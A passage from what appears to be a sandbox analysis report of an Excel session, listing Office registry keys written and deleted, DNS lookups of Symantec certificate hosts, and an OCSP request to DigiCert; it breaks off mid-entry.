  455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\107E1A9A03AE4F2BACF70CC519E60E7B",
  596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\ExcelName",
  597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options",
  598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options\\Options5",
  599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options\\OptionFormat",
  600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options\\Pos",
  601. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\MTTF",
  603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\MTTA",
  604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_2"
  605. ]
  606.  
  607. [*] Deleted Registry Keys: [
  608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\10D4AC2\\10D4AC2",
  609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\StartupItems\\2\"5",
  610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\10DF39F\\10DF39F",
  615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\MTTT"
  616. ]
  617.  
  618. [*] DNS Communications: [
  619. {
  620. "type": "A",
  621. "request": "t2.symcb.com",
  622. "answers": [
  623. {
  624. "data": "ocsp-ds.ws.symantec.com.edgekey.net",
  625. "type": "CNAME"
  626. },
  627. {
  628. "data": "e8218.dscb1.akamaiedge.net",
  629. "type": "CNAME"
  630. },
  631. {
  632. "data": "23.61.187.27",
  633. "type": "A"
  634. }
  635. ]
  636. },
  637. {
  638. "type": "A",
  639. "request": "tl.symcd.com",
  640. "answers": [
  641. {
  642. "data": "ocsp-ds.ws.symantec.com.edgekey.net",
  643. "type": "CNAME"
  644. },
  645. {
  646. "data": "e8218.dscb1.akamaiedge.net",
  647. "type": "CNAME"
  648. },
  649. {
  650. "data": "23.54.187.27",
  651. "type": "A"
  652. }
  653. ]
  654. }
  655. ]
  656.  
  657. [*] Domains: [
  658. {
  659. "ip": "23.61.187.27",
  660. "domain": "t2.symcb.com"
  661. },
  662. {
  663. "ip": "23.61.187.27",
  664. "domain": "tl.symcd.com"
  665. }
  666. ]
  667.  
  668. [*] Network Communication - ICMP: []
  669.  
  670. [*] Network Communication - HTTP: [
  671. {
  672. "count": 1,
  673. "body": "",
  674. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  675. "user-agent": "Microsoft-CryptoAPI/6.1",
  676. "method": "GET",
  677. "host": "ocsp.digicert.com",
  678. "version": "1.1",
  679. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
